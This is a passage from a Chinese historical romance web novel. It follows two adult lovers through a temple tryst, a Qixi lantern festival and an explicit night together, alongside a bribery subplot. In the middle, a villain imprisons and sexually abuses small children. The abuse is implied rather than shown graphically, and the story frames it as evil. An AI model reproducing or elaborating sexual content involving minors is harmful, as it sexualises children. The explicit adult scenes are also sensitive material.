钱映仪仰脸,被他贴着两瓣唇/肉/舔/舐,一时亲得意乱情迷,两条胳膊不由地缠住他,轻轻哼了一声,“你下来点,脖子好酸” 秦离铮一把将她悬抱,抵着墙,潮热延绵的吻落在她的唇间,舌/尖直接探/入。 “哈阿铮别亲这么重。” 钱映仪含混着口齿,唇上泛着淋淋水色,忍不住偏头躲开他今夜有些暴戾的吻。 秦离铮那张直白的嘴又不讲话了,只掰过她的脸,带着洇润的呼吸埋首亲下去。 舌尖湿/濡/勾/缠,钱映仪身体发软要往下坠,又不得不紧紧攀着他的肩,一股酥麻感自尾椎骨往上爬,激得浑身都在轻颤。 半晌,秦离铮喘着气松开她。 头晕目眩的感觉渐渐退散,钱映仪双腿悬在他腰侧,无意识蹭了蹭。 他揽着她往上提一提,低语浮现在耳畔,“这样的份量,才能让你我都高兴,明白了吗?” 不等她开口答话,他又抱紧她贴近自己,“我半刻也不想离开你身边,可今夜出来,我数了数,和你分开已经超过三刻,所以我不高兴。” 话音甫落,他俯身去啄她微张的唇,暗味的吐息在她耳畔游走,“你说我亲得重,但你喜欢我这样,是不是?” 钱映仪睁圆了眼看他,低喘着气,口是心非摇头,“我不” 未说完的话又被他尽数抵回口中。 道观岑寂,钱映仪犹记得进来时瞥见的那扇庄重丹红大门。四处杂糅着香火气,一墙之隔的身后是道童低声诵经的声音。 前一刻她才捐过香油钱,转眼却在庄严殿宇下与他行这样亲密之事。 钱映仪一面在内心谴责着自己变成“背叛的信徒”,一面又忍不住放纵自己把他揽得更紧。 这个在禁忌下显得愈发潮湿炙热的吻拖着她一步步沉溺其中。 像在炎炎夏日里遇上一滩水,她浑身的血液沸腾着,即便将水都淋湿在身上,也浇不灭她浑身的躁动。 她已无法再劝说自己假意拒绝他的“直白”,无法再拒绝他俯身印下的每一个吻。 她甚至舍不得自己的唇与他分离。 脖子上垂挂的彩绦搭在彼此肩头,分明松散着,却仿佛将二人捆在一起 她当真要疯了。 道观里的铜漏声轻响,亲吻这件事在这刻似乎变得十分漫长,长到钱映仪再不推开他就觉得自己快死在他怀里。 于是她忙仰起头,泄力靠在墙上。 转角渐响脚步声,大约是哪个香客或道童正往这边来。迟来的慌张霎时攻进钱映仪心里,逃不掉,只能紧紧把自己缩在他的肩头。 半晌,脚步声打转去了另一头。她才 敢仰脸轻瞪他,语气有些急,“你还不松开我?” 察觉到他松了手,她慌慌张张扶着墙站稳,待回过神,连抬脸看他都成了一道难题。 只好维持缄默,装模作样在观内走了走,旋即带着几分逃离的意味,离开这令她心惊不已的道观。 踅回河岸,就见钱其羽不知打哪去换了身袍子,正捧着碗糖水吃,夏菱与春棠两个坐在马车里,时不时撩帘往外头瞧。 想来是在等她。 钱映仪心虚抿一抿还发麻的唇,低着脑袋凑近,一股脑就钻进了马车里。 钱其羽这头见她回来,忙也乐滋滋跟着挤进来,“阿姐,我够机灵吧,你瞧,我直接换了件衣裳,那俞敏森遁天入地也不可能找到我。” “阿姐?”他顿一顿,“你的嘴似乎有些肿?” 钱映仪急躁把他一推,嗓音都拔高不少,“你给我出去!” 钱其羽发蒙眨眨眼,只好灰溜溜打帘出去,挤在秦离铮与小玳瑁中间坐。待马车驶离原地,他便偏头瞧一瞧秦离铮,问,“你领着我阿姐去吃什么辛辣吃食了?” 小玳瑁没忍住,“噗嗤”一下笑出声。 秦离铮面色正经,淡淡瞟了钱其羽一眼,目光掠至他手中的糖水,“快吃吧,前面有截路不好走,别洒了。” 钱映仪听他在外头说话,不由地想象他一副淡然自处的模样,咬牙切齿,恨恨握拳捶了下车壁。 两个丫鬟眼观鼻鼻观心,春棠自己尚且羞着,夏菱夹在中间左右为难,不知该说什么,索性也闭嘴。 一路维持沉默回了琵琶巷,钱映仪一下马车就只顾往宅子里钻,才行过大花园就被秦离铮追赶上。 夏菱讪讪笑了两声,拉着春棠先行一步。 钱映仪心头扑扑直跳,她很明白,今夜与以往都不大一样。她轻垂眼皮站在原地,尽可能叫自己的语气维持平静,“还要做什么?” 秦离铮笑着递上被她遗落在马车里的彩绦,悬着灯笼照一照她红扑扑的脸,“别急着跑,我有话问你。” “后日乞巧,映仪,你要同我去逛灯会吗?”—— 作者有话说:只亲了小嘴哈,其他啥也没干,求审核君放过。 我只说一句—— 乞巧节要到了,有人藏不住了。[好的] 第38章 见他笑得没脸没皮,钱映仪益发害臊,把脸垂得低低的。转念又想,她怎可在他面前落了下风! 于是又把脑袋提起来,高傲哼了一声,“笑什么?像我已经答应了你似的。” 秦离铮歪脸窥一窥她,点点头,“你这幅模样,看着也不像要拒绝我。” 钱映仪端起腰去打他,“哎呀你不许再说!再说人家真的要生气了,怎怎么可以这样直白来问” 言罢,也不说什么答不答应,旋身就一股脑跑开了。 留秦离铮在原地猜测她慌张与掩蔽下的羞。他能理解,因此,擎着灯笼目送她的背影像只蝴蝶一样飞走,唇畔牵出一抹无声的笑,直至见不到她的影子,才转背离去。 这厢暗流涌动的情意暂时按住不表。 且说那头在巷子里被抢了银钱的三个倒霉蛋。 俞敏森无端端遭了祸事,淤火堵在五脏六腑出不来,便拿余下两人撒气,他一指温卓南,冷道:“哼,倘或不是你说要来看个什么刺激的玩意儿,本世子也不会受此侮辱!你给本世子等着!” 又扭头一瞪吴念笙,“还有你!撞本世子那一下,本世子也记着了,回头一一和你们算账!” 旋即沉着一张脸,一瘸一拐转出了巷口。 吴念笙莫名其妙跟着挨了顿打,心头也不大爽利。 待俞敏森一走,他又洋洋端着自己,因先前温卓南对自己的态度带着一丝谄媚,必然心中也清楚他也许有求于自己。因此,态度也算不得好,鼻腔里哼出一声,“告辞。” 温卓南好歹是南直隶吏部侍郎之子,白白被下脸,早已是躁意横生,待巷子里只剩他一人,登时换了副神色。 半晌,他舔舔下唇,带着一腔愤意进了处隐蔽的宅子。 大门一关,只见狭窄的走道下立着几个低眉顺眼的小厮,手中提着红纱灯笼,映出几分吊诡。 温卓南一径往里走,停在西厢的门前,松一松腰间皮革,问,“最近都老实些了?” 其中一个小厮答道:“喂了饭,换了新衣裳,哄了好几日,倒显得乖顺,没吵着要离开这儿了。” “嗯,把门打开,我瞧瞧。” 小厮掏出钥匙,不一时,门“吱呀”一声推开。里头是罗帐低垂,昏暗静室。 角落里,惶惶蹲着三四个只五六岁的稚童,睁着双雾蒙蒙的眼睛看着他。 屋子里头还摆着晚膳,温卓南握着桌上的箸儿,挑了块糟鹅送进嘴里,笑道:“在这儿睡得还好吗?吃得可还满意?” 其中一个小童盯着他吃,咽了咽口水,谨慎答道:“你是谁,为什么把我们带来这儿,我们睡在破庙挺好的。” 温卓南声音含笑,朝他招一招手,“你过来,让哥哥瞧瞧。” 那小童不大放心,但看他笑意柔和,又渐渐卸下防备,环视自己身上尤其漂亮的新衣裳,想着他大约是个惯会做善事的人,只踟蹰片刻,就缩着肩往靠近了。 谁知温卓南一把捞起他,左右审视他的小脸,旋即起身往罗帐那头走,含笑的那把嗓音在此刻化作恶鬼低鸣,“不必问我是谁,此处既管温饱,又不缺银钱,你只管享受享受,至于那破庙,就不必再回去了。” 西厢的门不知何时被小厮阖紧。 下一刻,沉闷又嘶厉的尖叫隔着窗隙传出,门被几双稚嫩的小手拍得震天响,“救命!大老爷!放我们出去!放我们出去!” 小厮们只是木然垂着脑袋,状若无闻。 半炷香的功夫过去,温卓南餮足走出来,眼梢吊着轻佻,回身睨着那几个要往外逃却被及时摁住的小童,勾出一抹骇人的笑,话却是对小厮说的,“每日好吃好喝供着,不许他们逃了,转了性子的就使几个钱哄着,别再像上回那般弄出几条人命,我嫌脏。” 小厮低眉应是。 温卓南鼻腔里哼出笑,见其中一个恶狠狠瞪着自己,便无所谓把手搁在他脑袋上抚了抚,“爷过几日再来,别拿这副眼神盯着爷,下一回,就轮到你了。” 旋即顶着月色离开这座隐秘在小巷里的宅子。 待行至正街,先前被击打的肋下传来阵阵痛意,温卓南轻嘶一声,眼神在淮河两岸的绚丽光彩下益发阴鸷起来。 接连两次都没考上,为着明年科考找人代替一事,温卓南才刻意去讨好俞敏森与吴念笙。 他玩弄幼童的癖好遮蔽得深,一惯是用来舒缓心中躁意的玩意儿。 他也知二人不是什么行得端做得正的正经官家子弟,这才试探着要带二人来瞧瞧新引诱回来的一批“货”。 怎料半路杀出个自称是混迹江湖的泼皮无赖,硬生生斩断了他的盘算! 小不忍则乱大谋。他且先忍着,待他发迹,他定要统统都报复回去! 这厢正暗自发恨,谁知一转角撞上个人,温卓南没了在俞敏森面前的谨言慎行,抬脸就要泼口骂,“你个” 待看清是谁,硬生生又转了话锋,堆出个笑,“是燕兄啊,好巧。” 正是燕如衡。 二人当年曾在府学 一同念过书,亦可算作同窗。只是如今一个早已任县丞之职,一个还两手空空在家,攀谈过两句,到底相顾无言。 燕如衡今日穿一件暗蓝直裰,束冠戴簪,眼色不再温润端方,那双眼珠子黑漆漆的,让人一时琢磨不透他在想什么。 但见燕如衡稍稍颔首,“温贤弟这是往哪里去?” 温卓南虽自身屡不得志,常说这个呆笨,那个发蠢,因同窗的缘故,他对燕如衡倒有一副好脸色。 温卓南把目光投在他身上,微笑起来,“嗐,别唤这么客气,相逢既是缘,我正预备往家里去呢,家父近来对我也多有教诲,命我多向你学一学,若三郎现下得空,不如随我一同归家见见父亲?” 此举也算合燕如衡心意。 近来燕蔺两家闹翻船,正因和离还是休妻而争执不休,燕榆此人生性要强,眼见与蔺边鸿互相丢开了手,不愿落个下方,在权势上便刻意使燕如衡去拉拢应天府那些大大小小的官员。 前几日才向燕如衡交代,要把六部几个官员也拉拢过来,别叫蔺边鸿抢先! 思及此节,燕如衡牵出一抹若有若无的笑,把光洁的下颌轻点,“好,那是我叨扰了。” 此处正离温宅不算远,两人并行前往,两刻钟的功夫就到了。 温卓南引燕如衡进正厅时,温涧舟正歪在榻上闭目养神,他眼眉与温宁岚有几分相似,穿一件墨黑色的袍子,两撇胡须油亮亮的。 这厢听见动静去瞧,一见是燕如衡,忙不迭就笑道:“哟,哪来的一阵风把三郎吹来咱们家了,卓南,快,去使几个丫鬟上些瓜果点心来!” 温卓南跟着笑了两声,登时转背就去办了。 温涧舟靠在榻上搓一搓手,偷瞥燕如衡一眼,笑问,“三郎来寻我,可是有事?” “正是,”燕如衡神色淡淡,起身朝他端正作揖,“原是赶巧,在外头碰上了卓南,想着家父曾有交代,便顺道过来了。” 他道:“温伯父,先前托您在吏部的关系,将我从凤阳调任回来,燕家上下都十分感激,先前那十万两白银只当是感谢,家父让我来问您一句,可愿与他共乘一条船?” 温涧舟请他上榻坐,沉吟片刻,目光里牵出一丝谨慎,“三郎,你长姐那事闹得整个应天府都在背地里念叨,我近来听人说,你爹与蔺家闹得不好看,两家这是预备彻底丢开手了?” 燕如衡避开不答,只垂眼盯着榻上那盅冒着云烟的茶,“伯父,家父的意思,倘或伯父能与他一条心,往后得手的东西,伯父尽可拿走一成利,无需伯父做些什么。” 温涧舟心头猛地被敲一记。他虽身在吏部,却向来勤勉,每年考核皆受好评,这些年却不知因何缘故止步不前,他已人至中年,倘或不能再往上升一升,一辈子也就到头了。 若有银子打地基,多多拿去讨好上级官员 想及此处,温涧舟点点下颌,亲自斟了壶茶递与燕如衡,“这茶叶是钱塘来的,我喝着别有滋味,三郎若喜欢,日后常来家中便是。” 算是隐晦应下了。 明月清浅,淮河两岸对酒把歌唱。眨眼的功夫,迎来热热闹闹的乞巧。 蝉吟喧嚣,半空爬着红绸缎一般的火烧云,傍晚将至。 钱映仪正与小丫鬟们在树下染甲,她的手指纤长白皙,凤仙花汁染在甲面,活脱像往十个指头上点缀了红色宝石。 丫鬟们早早就往大花园里摘来一篮子牵牛花,一个个都往鸦髻上插花,对夜里的灯会很是期待。 一个羞怯怯说,“人家美不美?今夜我要与在外头当差的表哥表一表心意,你们说,他能不能懂我的意思啊?” 几个丫鬟笑作一团,那翠翠也翘几个指头在鬓边,道:“哎呀,我今夜是要出去瞧俊俏小相公的,最好挤上那红桥,一次给我撞出个天赐良缘!” 钱映仪今日戴了顶翡翠冠,穿件崭新的茄花色鹊桥补服,施妆傅粉,原本白皙的面目在暮色下显出几分柔软,恍如月上仙。 她好笑搭腔,“翠翠,你也想嫁人啦?” 那翠翠唇边含着一缕笑,倒是大大方方的,“对!见春棠姐姐与小玳瑁情投意合,奴婢十分羡慕,想嫁人也没错囖!” 钱映仪两帘睫毛轻闪,鼻腔里哼笑两声,见十个指头都已定色,便摆一摆手,道:“没几时天就要暗了,该出去耍的都出去,再不走,小姐我可不许你们走了!” 小丫鬟们忙不迭起身,笑嘻嘻挽着臂弯,十来片裙摆登时飞没了影。 钱映仪把眼收回,托腮在原地发笑。 “映仪。” 不知过去几时,身后蓦然响起一道声音。钱映仪扭头望去,顿觉稍显黯淡的小天地倏然变亮。 秦离铮今日正穿着那件晃眼的暗纹银袍,往常束冠的发丝散落在肩头,眼眉舒朗,丰神俊逸,也不晓得是从哪个角落窜出来,定定站在她身后看着她,目色柔和。 令钱映仪产生一种错觉——好似认得他这么久,今日的他才最真实。 秦离铮带着落日余晖靠近,朝她摊开手,“嗯?在等我?走吧。” 钱映仪收回眼,未拒绝他,却也未把手放进他的掌心,扭捏片刻,那翡翠冠上的珠子就跟着晃一晃,像要晃进秦离铮心里,“在家里,你还想牵我不成。” 双影映在地面,只差半寸就勾缠在一起。秦离铮想了想,弯腰把胳膊递去,“是我心急,还请小姐起身,同我一起出门观灯游街。” 钱映仪“噗嗤”笑了,这才大大方方把手搭上去,顺手取了一旁的兔儿灯,与他一前一后行出钱宅。 甫一行至琵琶巷的转角,一阵薄荷气扑面而来,一只手无声靠近,旋即动作轻柔地在她面上覆了层面纱。 钱映仪心一抖,“做什么突然给我戴这个?” 秦离铮不讲话,只是顺手把她额发抚一抚,一把握住了她手,抓紧了,就不会再放,“这样,你就不必担心在外头与我离得太近而被人注视了。” 钱映仪俏脸渐染红晕,由他拉着钻进熙熙攘攘的人群里,心忐忑着,隐在面纱下的唇畔却悄悄轻弯,窃窃抖着肩笑了两声,唯恐被他听见。 乞巧望星河,双双并绮罗。因乞巧节本是女孩子的节日,近百年才绵延出男女情爱,故而街上多的是打扮得俏丽的女孩子挽手出行。 自然亦有不少有情人执手并肩穿梭其中。钱映仪的手始终被秦离铮握着,他也不大讲话,只默然用宽厚的身躯替她挡住游人。 令她觉得他的身躯里长出了脉脉情丝,这些情丝避开了旁人,却唯独兜住了她。 他们在绚烂烟火下大方牵手,辗转行至秦淮河岸,钱映仪一眼望见挤满了人的雕饰桥,桥柱缠满红线,桥上如他们这般牵手的男女只多不少。 桥下则是一列摊贩,这里的摊前有女孩子在对月穿针,那里的摊前是年轻男子替心上人堆着乌鬓旁的花。 她四下张望,目光被角落一个摊位吸引,指尖在秦离铮掌心轻轻挠了挠,小声道:“阿铮,我想去那儿。” 秦离铮扭头去望,是个卖巧果的摊子。 他点点下颌,拢着她的肩往那头走,“人多,仔细点走。” 待行至摊前,钱映仪便见这摊位上的木箱子里摆着不少巧果。她正要买来尝一尝,目光复又被一旁的糖面人吸引,便问,“这个怎么卖呢?” 老板是个穿彩绣褶裙的年轻妇人,绾着高高的髻,闻言笑道:“哟,奶奶不吃巧果,反倒看中这个了?我今日正是头一回拿出来卖呢,取个成双成对的好意头,奶奶买六串,我便再赠一对亲手捏的。” 钱映仪兴致上来,眨眨眼,“您亲手捏的,有什么不同?” 妇人笑,当她是要买下六串了,便使二人往摊位后头来,取了矮杌递与二人,一面去取面团,一面道:“奶奶只管与您官人挨得再近点,我亲手捏,自然是捏您与您官人的模样,这对糖面里加了东西,可保半月不腐,只是不能入口,奶奶拿到手了,回去可别一口给咬进肚子里了!” 一听是要捏自己与秦离铮,钱映仪忙扭头去瞧他,复又四下睃寻一眼,生怕有人瞧着自己。 半晌,才悄悄向他挪了挪。 秦离铮暗笑,一把兜揽她的腰,二人便靠在了一处。 淮河两岸欢声喧阗,钱映仪好似坐进了他的怀里,眼色躲闪。偏那妇人正捏 着,还时不时嚷着,“奶奶别羞,再靠近些!” 钱映仪忐忑笑一笑,只好又轻挪矮杌。 俄延半晌,妇人总算捏好糖面,欢欢喜喜在钱映仪面上一拉一合,“奶奶瞧,这样一拉,您与您官人都是单独一个糖人,再嵌着合一合,您二人又不分彼此,黏在一处,寓意长长久久,永不分离,奶奶可还喜欢?” 钱映仪两眼铮亮,被这精巧手艺吸引。糖人虽诙谐,模样圆圆,却能一眼瞧清是她与他,她霎时冲妇人笑了笑,“您的手真巧,还请替我装六串能吃进肚子里的糖人吧。” 妇人乐呵呵把糖人递与她,忙不迭就去干活了。 这能咬进嘴里的糖人也甜滋滋的,钱映仪窃窃扯下面纱,一手握着那两个糖人,一手就把能吃的糖人往嘴里送,还不忘笑吟吟往热闹处瞧,“那头好似在跳舞,阿铮,我要再去那里瞧一眼!” 秦离铮始终凝视着她,心里软软陷下去,笑道:“好。” 月星交叠,红尘绚丽。两人一径循声往那头去,离得近了,钱映仪便又把面纱挂上,歪着脑袋够眼去瞧。 此处紧挨河边,人头攒动,簇拥着一位穿鹭鸟纹彩色蜡染褶裙的年轻妇人。钱映仪从未见过这样的衣裙,免不得多瞧了两眼,扭头问,“阿铮,她穿的衣裳不大一样。” 秦离铮淡扫两眼,点点下颌,“是贵州府一个族群穿的衣裳。” 有个正瞧热闹的书生讶然把秦离铮一望,“这位年轻相公还懂这个呢,你说得不错,这妇人叫红莺,前两年从贵州府嫁来金陵,嫁的是胡员外的儿子。” 钱映仪渐起兴致,忙道:“那、那她也是家中的太太,为何在此” 话音未落,她抿一抿唇,望向红莺。 红莺一双眼好似星辰,正噙着一抹笑点着篝火,还道:“待会我请来的乐师吹笛拍鼓,还请有情人站在篝火旁,围成一圈,随我一起舞动。” 钱映仪接着往下说,“为何在外头做这个?” 那书生嗟叹一声,放低了声音,“你不知,她官人早在她嫁进门时就染病离世啦,胡小官人游历时前往贵州府,一眼就爱慕上她,一来二去,二人立下海誓山盟,她便离开了自己的族群,随胡小官人回了金陵,可惜一对有情人” 大约是读书人的缘故,这书生望向红莺的目光里染上几分多愁善感,“胡小官人离世不过半年,胡家老爷与太太就劝红莺改嫁,到底是个年轻妇人,不好活生生蹉跎在这里,可红莺是个犟脾性,做哪样都不答应,渐渐地,胡家二老也不劝了。” “由着她在家里,儿子没了,便把她当作亲女儿来疼爱,时日一长,红莺也日渐开朗,去年乞巧时,她就出来教人跳贵州府的舞啦,你不知?” 钱映仪还当真未曾听闻,她把目光掠至红莺身上,见红莺头戴银冠,动起来满头银饰叮叮当当,分明十分耀眼,银饰下的那双眼珠子里,却好似隐藏悲伤。 她想,人一生痛极莫过于生离死别,红莺心头哪能真的明朗呢?不过是拘着自己不再陷进回忆里,人往往也是向前看的。 她默然立在原地,忽然拔不出脚再去别的地方,倏地拽了拽秦离铮的胳膊,“你会跳舞吗?” 秦离铮转眼瞧她,“你想去?” “我不会,但是你想,我可以学。” 红莺那头已然开始吹笛。 钱映仪撞进他那双只有自己的眼里,心中甜滋滋的。甜蜜后,又想及红莺的故事,牵出一丝酸,酸甜交织在心头,杂糅得不清不楚。 耳畔是红莺起舞时的笑音,说话时,那些银饰哗啦作响,“小官人们,这舞难跳,还需将心上人捧在掌心往天上送,谁捧得最高,就能从我这儿拿走凤凰冠,此冠在我族以表庄重虔诚的爱意,可得加把劲啊!” 红莺说话时,浑身牵动着热烈与大方。钱映仪倏然想,今日是乞巧,千千万万颗含蓄羞怯的心都在想着同一个字——情。 她有什么好左思右想的呢?于是她将这些酸甜统统抛在身后,一把拉过秦离铮的手就跑向篝火旁,“抱我!” 玉笛声响,鼓声雷动。红莺在河畔一舞引得不少行人驻足窥瞧,男子笨拙跟着她的步伐,举着心上人往半空抛,引来一阵惊呼与笑音。 一舞毕,不少年轻相公气吁吁把心上人放下来,只有秦离铮还稳稳托着钱映仪。 红莺说话算话,带着艳羡的目色走近,取来一顶凤凰冠递与钱映仪,轻喘着气,道:“小娘子,看来你在他的心里是无上至宝,你值得这世间最虔诚庄重的爱意,拿着吧,愿来日喜结连理。” 钱映仪方才被抛去半空时瞪圆了眼,此刻方稍稍回神,接过那凤凰冠,便问,“红莺,在你们族群,只要喜欢上一个人,这辈子就认定了吗?” 红莺正伏腰收拾东西,闻言笑一笑,道:“不是所有人都值得被认定,被认定的前提是,他值得,与我方才说的话是一样的,真心在哪里,爱就在哪里。” 这话叫钱映仪有些发怔,以至于捧着凤凰冠从红莺那离开后,她再玩什么都没了兴致。 沿着河岸行了大半截路,走得也累了,她回身望一望秦离铮,倏地瘪一瘪唇,“我想回去了,不想玩了。” 秦离铮留神她稍稍塌下去的双肩,转背弯腰,“走不动了?我背你。” 钱映仪又暗自窃笑,当真阴晴不定,轻轻一跳就趴在了他宽厚的肩背上。 “寻僻静的路回去呀,别给人瞧见,认出来了,回头我解释不清呢。” 秦离铮胸膛振出两声笑,揽着她的腿弯,没几时穿巷而过,“你觉得,你现在与我撇开关系,还有人会信吗?” 钱映仪在他身后“嘁”了声,“什么关系?我与你有什么关系?” 秦离铮依旧维持他的沉默,只无声笑一笑。 穿过一户人家宅子后头的竹林时,钱映仪叫那低垂的竹叶打在额心,腾出手来拂了拂,一错眼,目光就落在侧面的墙影上。 一双人影在墙面紧密不分,那双长长的腿也走得异常缓慢,好似在珍惜当下这样难能可贵的时光。 一阵风过,吹得人影晃一晃,她轻轻歪脸贴在他的背上,轻声问,“阿铮,你会离开我身边吗?” 红莺虽活得热烈大方,可眼底那一抹悲伤做不得假。若有可能,谁不想要个圆满? 他的声音随风传来,含着一缕笑,“方才还避着我,这时候又问这个?” 钱映仪盯着墙面的影没讲话,扇一扇羽睫的功夫,他又道:“有庄重虔诚的爱在,我不会离开你。” 她恍然忆起一件事,仿佛除了上回姐夫向她借人,他真就没有离开过自己身边。先前被抛在脑后的酸甜滋味又涌上心头,她忽然转了转脸,把脑袋埋在他的颈侧。 钱映仪的情绪攀着顶峰,却又异常平静。 说来可笑,是的,很可笑。她前面还在说着什么不要叫人认出来,回头不好解释。 这一刻,她想认不认出来已经不重要了,什么解释,什么小姐侍卫,都不要再在意。就跟他溺死爱这个字里,靠彼此渡着呼吸,靠彼此环抱,溺一辈子好了。 她抱紧他,闷声道:“喜欢你。” 打在墙面的身影顿停,半晌,青年稍稍偏头,握着她腿弯的指骨用力,“你说什么?” 钱映仪翻出那对糖面人,自他身后绕去他身前,一手拿着“她”,一 手拿着“他”,轻轻一撞,契合在一起。 “我说,喜欢你。” 秦离铮错愕盯着这对糖人,记忆陡地将他拉回到初见她的那一日。 那时他被她捡回来,她也拿着两个杯子在他面前轻撞,那时他怎么能想到,那一撞会和眼下重合,把他的心撞得完全软陷? 这一瞬间,他想毅然决然把她放下,拥抱她,亲吻她,可害怕自己疯涨的情绪吓着她,深深吸气片刻,只好软下嗓音,问,“三月之期还没满,是不是我真的不用离开你身边了?” 钱映仪垂着脸,笑意与羞意并存,轻轻回答:“嗯。” 这股高兴包裹着她,一直辗转回到云滕阁。眼见他要走,她待在正屋的西窗下,鬼使神差说了句,“你待会还会过来吗?” 秦离铮一怔,旋即噙着笑点头,“好。” 待他离去,她便带着浑身沸腾的血液呼喊着夏菱,“夏菱!夏菱!备水,我要沐浴!” 夏菱被她唬一跳,虽不知她因何急切,还是连忙准备好热水,正要伺候她脱衣裳,被制止住,“夏菱!你今夜出去耍了耍,是不是也累了?今夜不用你守着我睡,你与春棠两个回自己屋子里睡吧。” 夏菱讶然,“小姐?” “哎呀,照我说的办,再替我取一壶二婶婶酿的茉莉花酒来。” 夏菱只得应声。 钱映仪眼睑下浮着一抹红,看着眼前热气腾腾的洇润气息,觉得连呼吸都变得炙热不少。 什么话都说开后,她有种不能言明的紧张。 以至于秦离铮沐浴过后,带着湿气折返回来,翻过西窗,便见她亮着一盏昏暗的灯,一言不发坐在案前。 他轻步凑近,伏腰轻轻一嗅,“偷偷喝酒了?” 钱映仪垂在身前的双手轻轻握拳,慌张眼风四处乱瞟,不敢回头看他,话却直白,“那夜在船上,我亲了你,后来是不是有发生过什么?你现在说来我听。” 秦离铮神色一僵,嗓音低得蛊惑人心,“真想知道?” 钱映仪忙点下颌。 身后半晌才传来一声低叹,钱映仪心悬到了嗓子眼,听他吸气的声音,她又反悔。 起身一把将他按在椅上坐,自己也跨坐上去,“你别说了,结合你此前种种行为,我、我大概猜着了,哈哈,圣人说,饮食男女嘛,没什么的。” 秦离铮不自觉兜揽她的腰,往上提一提,眼神游着晦暗,“你觉得没什么?” 给钱映仪盯得脸色涨红,把脸埋在他身前,嗅着他身上那抹薄荷与皂荚交织的味道。 良久,浮起一句,“先前我问你还会不会来,你不是懂了吗,否则,你也不会这么快就沐浴,是不是?” 秦离铮深深吸气,陡然仰头靠在椅上,“这一回,你清醒,我也清醒,映仪,你知道这意味着什么吗?” 钱映仪哪能不知?可大约如她找的借口一般,饮食男女,人之大欲存焉。 她是个活生生的人,她不想压制自己,礼义廉耻固然重要,可她向来看得起自己,不觉得有什么。 因此,她只默然片刻,就陡地俯身往他突出的喉结上亲了下,“我知道,我也没醉。” 一句话勾起暗室里的火苗,被衾往下陷,柔软的舌/尖勾着彼此,连舔/舐的水声都变得暧昧不已。 钱映仪的后腰被一条胳膊紧紧箍着,下颌被轻掐,她轻轻张唇喘气,也不由自主去回应。 到了触及她的衣襟时,秦离铮蓦然松开了她,跪坐在她身前,一时十分正经。 钱映仪正陷得深,歪着脸茫然瞧他,“嗯?” 秦离铮轻垂眼皮,低声道:“不行,无三媒六聘,我不能” 这一回,未说完的话被堵回口中,钱映仪细细的嗓音悬在他的耳廓旁,带着点黏糊,“此刻是我想。” 秦离铮稍有惊愕望向她,一时没能说话。 钱映仪垂着脑袋退回去,也跪坐在他身前,却轻轻把眼睛阖上了。 落在秦离铮眼里,便是一种真得不能再真的默许。 默许他在今夜闯荡,把从前那些迤逦的美梦一一实现。 钱映仪阖眼静等,半晌,听见他下榻的声音。心中不免想——原来他也紧张,要去饮酒壮壮胆吗? 她忐忑等他踅回来,终于等到一双手握住自己的肩,滚烫的指尖轻轻往下拨。 她轻颤着睁眼,待看清他,却是一怔。 他不知打哪摸来一条暗纹丝带,正紧紧覆在眼前,好似多看她一眼都是亵渎。 酒劲上来一些,钱映仪的嗓音渐浓,鼻腔里哼出一声笑,“这时候,你又胆小了?” 秦离铮大约不爱在这时候讲话,只一味揽着她抱着,钱映仪的唇贴在他好似刀削的下颌,轻轻嘬出响声,旋即印上那张滚烫的唇。 那茉莉花酒在此刻发挥到极致。 “阿铮”她蓦然仰脸,“哈” 钱映仪的背贴着他,听他悬在耳畔还算绵稳的呼吸,小幅度张开两条胳膊,一手攫紧身下被衾,一手掐进他的臂弯。 她松软跌在他的怀里,浑身似被火烧,连额上都渗出薄汗。 酒意虽使她思绪混沌,感官却无比清晰。 他的指尖勾过,她浑身都有些止不住地要轻颤。 她的床头放了一小块冰,她却仍觉得热得要命,四周逐渐越来越热,她的呼吸渐渐不成样,再开口时,嗓音也变了调。 “太快了” 片刻,满室寂静。秦离铮啄一啄她温软的腮畔,“我已经很慢了。” 他好过分。 钱映仪阖着眼不想说话。 那只手倏然转向她的腰,把她翻了个身,跪坐在他身前。 秦离铮握着她的指骨轻轻揉捏,静等片刻,问,“指腹一点茧也没有,这么软,到底怎么养的?” 钱映仪垂着眼,舔了舔下唇,还没从余韵里醒过神,只下意识道:“你时常握着那把又破又硬的剑,又戳人又冰,你不长茧,谁长?” 秦离铮无声点点下颌,盯着她的脸,把她的手往前拉一拉,像是很赞同她说的话,“那你也试着握一握。” 他几时带了剑?钱映仪正要说话,不防掌心变得炙热,她的食指与拇指渐弯,甚至无法相触。 她霎时心一跳,垂眼往下轻扫,看见剑身上那蜿蜒伸出的青络,猛然把眼给闭上了。 秦离铮呼吸顿停,疯涨的感觉在此刻席卷了他,他握着她的手,语气十分正经,“握剑姿势准确,要我教你怎么用剑吗?” 钱映仪耳根都开始发麻,熟悉的酥麻感自尾椎骨往上爬,她偏要跟他较劲,轻轻吐息,“我慢慢钻研。” 她像个勤奋苦学的学生,伏腰盯着眼前,一点点钻磨着, 秦离铮仰脸,那双始终黑漆漆的眼氤氲着点点水光,为她钻研出点门道而高涨情绪,“映仪,好棒” 昏暗的烛光闪烁,没几时灭了个干净。静室陷入黑暗,罗帐轻盈垂在榻外,里面,则是越来越急促的呼吸与喟叹。 下一刻,帐内闷哼一声。 秦离铮失神盯着她的脸,一时没讲话。 即便帐子里黑漆漆的,钱映仪也能感觉他在看自己,火热的目光落在身上十分灼人,她匆匆起身,忙拢好自己下榻去寻干净的帕子,“我学学会了” 不一时,她顶着月色折返回拔步床,斜斜的一条影子落在秦离铮的脸上。他接过帕子,脸却仰起来看着她,眼底湿漉漉的,仿佛又在乞求她的怜爱,“好喜欢你,映仪。” 钱映仪张了张嘴,想说快揩拭干净,又听他问,“你缓好了吗?” “嗯?”她眨眨眼,不觉有什么不适,也有些羞,便道:“我没事了。” 不防拦腰被抱住,在睁眼时,人已经陷进柔软的被衾里。 他却顺势退出床榻,落了条膝在榻脚,那道火热的目光却依旧为她停留,“再来。” 旋即影动,他颔首啄了啄,伸出舌尖舔了舔下唇,卷走湿润,忽然夸起她来,“映仪的画技真好,几时学会画画的?” “嘶你不许”钱映仪脚心陷在他的臂弯里,仓皇间只能拿过四角软枕遮住自己的脸,“关关作画何事?” 他贴近,鼻尖蹭她,“无事,就是问一问,我也会作画。” 与他粗粝带着薄茧的指腹不一样。 钱映仪不由自主掀起眼帘遥望案上的画纸,她先前用过的墨汁还搁在 上面,笔尖勾一勾,带起一阵湿漉漉。 正分神时,底下的柔软笔尖动了,稍显生涩,却反复在一个地方来回碾磨。 钱映仪蓦然闭上眼,带着点颤音,好似要哭,“阿铮别碾” 秦离铮含混应她两声,静观她的反应,又自顾过分了点。 